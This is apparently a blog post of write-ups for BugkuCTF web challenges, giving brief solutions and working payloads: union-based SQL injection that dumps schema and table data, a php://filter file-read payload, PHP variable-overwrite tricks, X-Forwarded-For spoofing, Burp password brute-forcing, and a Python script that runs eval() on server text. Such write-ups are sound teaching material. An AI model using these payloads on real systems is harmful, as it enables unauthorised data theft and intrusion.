BugkuCTF web(一)

web基础_GET

1、get传参。

web基础_POST

1、post传参。

web2

1、F12看源码,在html注释发现flag。

计算器

1、表单字数限制,F12看源码,修改maxlength。

你必须让他停下

1、bp抓包,不断发包,多试几次,一共有15张jpg。

矛盾

1、num等于1又不是数字,payload:?num=1a。

变量1(代码审计)

1、

  代码审计:内层if要求GET所传的参数$args要出现数字或字母;输出$$args变量。
  这里要知道1个知识点:php中的预定义变量中有个$GLOBALS$GLOBALS包含了在当前脚本中已经定义的所有变量,变量名就是这个数组的键名。
  根据第一行提示,flag在变量里,可用超全局变量GLOBALS引用可变变量$$args,payload:?args=GLOBALS,既满足参数是字母,又能输出$$args

备份是个好习惯

1、访问index.php.bak
2、
payload:?kkeyey1=s878926199a&kkeyey2=s155964671a。

web3

1、F12查看源码,在注释发现unicode编码。

头等舱

1、用bp抓包。

web4

1、F12看源码,url解码。

管理员系统

1、F12看源码,在注释有b64,解码后应该是密码。
2、用bp抓包,伪造本地ip:X-Forwarded-For:127.0.0.1。

网站被黑

1、用御剑扫描
2、用bp爆破密码,从列表中添加->密码。

域名解析

1、这题域名和ip都是在公网上的,修改hosts本地文件:C:\Windows\System32\drivers\etc\hosts。

web5

1、把()[]!+编码复制到控制台。

flag在index里(文件包含)

1、

2、把file内容转成base64:payload:?file=php://filter/read=convert.base64-encode/resource=index.php。
参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

输入密码查看flag

1、提示了5位数字的密码,就打开bp爆破。

成绩单(sql注入-联合查询)

1、依次输入1,2,3,返回龙龙龙、浩儿、静静的成绩,源码没发现东西
2、1' # 正常,是龙龙龙的成绩单
1' order by 3# 正常
1' order by 4# 正常
1' order by 5# 无回显
所以,就是4个字段
3、爆库名:

' union select 1,1,1,table_schema from information_schema.tables #


只爆出information_schema这么一个库名,就是chinese里只能显示一个库名,学到了,mysql里的group_concat()聚集函数能将同一个分组的值连接起来,只返回一个字符串

' union select 1,1,1,group_concat(distinct table_schema) from information_schema.tables #


得到库名:skctf_flag
4、爆所有的表名:

' union select 1,1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='skctf_flag' #


得到2个表:fl4g,sc,有用的肯定是fl4g
5、查所有字段名:

' union select 1,1,1,group_concat(distinct column_name) from information_schema.columns where table_name='fl4g' #

得到字段名和库名是一样的
6、最后,

' union select 1,1,1,group_concat(skctf_flag) from skctf_flag.fl4g #

秋名山老司机(快速反弹post请求)


让我们用2s计算这么长的值。。。
刷新页面后,表达式的值会变化:

就是用加减乘运算一个长的表达式
多刷新2次:

提示我们 用post传递表达式的值给服务器,这种只能写python解:

import requests
import re

url = "http://123.206.87.240:8002/qiumingshan/"
s = requests.Session()#保持客户端与服务器之间的回话
r = s.get(url)
expression = re.search(r'(\d+[\+\-\*])+(\d+)', r.text).group()#用正则表达式提出要计算的表达式
expr_value = eval(expression)#计算表达式的值
data = {'value': expr_value}
print(s.post(url,data).text)#发送post请求

(:表示一个子表达式的开始
\d:表示匹配数字
+:表示匹配重复1次或更多次
\d+:表示匹配1个或更多连续的数字
):表示一个子表达式的介绍
re.search方法中的group():返回匹配的整个表达式的字符串
eval():返回字符串表达式的值
解题参考:https://blog.csdn.net/qq_26090065/article/details/81583009

web8

题目

题目描述: txt????

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}

解法

extract变量覆盖有点不一样

根据题目,txt确定是存在

payload:?ac=flags&fn=flag.txt

posted @ 2020-03-27 17:42  Pur3  阅读(257)  评论(0编辑  收藏  举报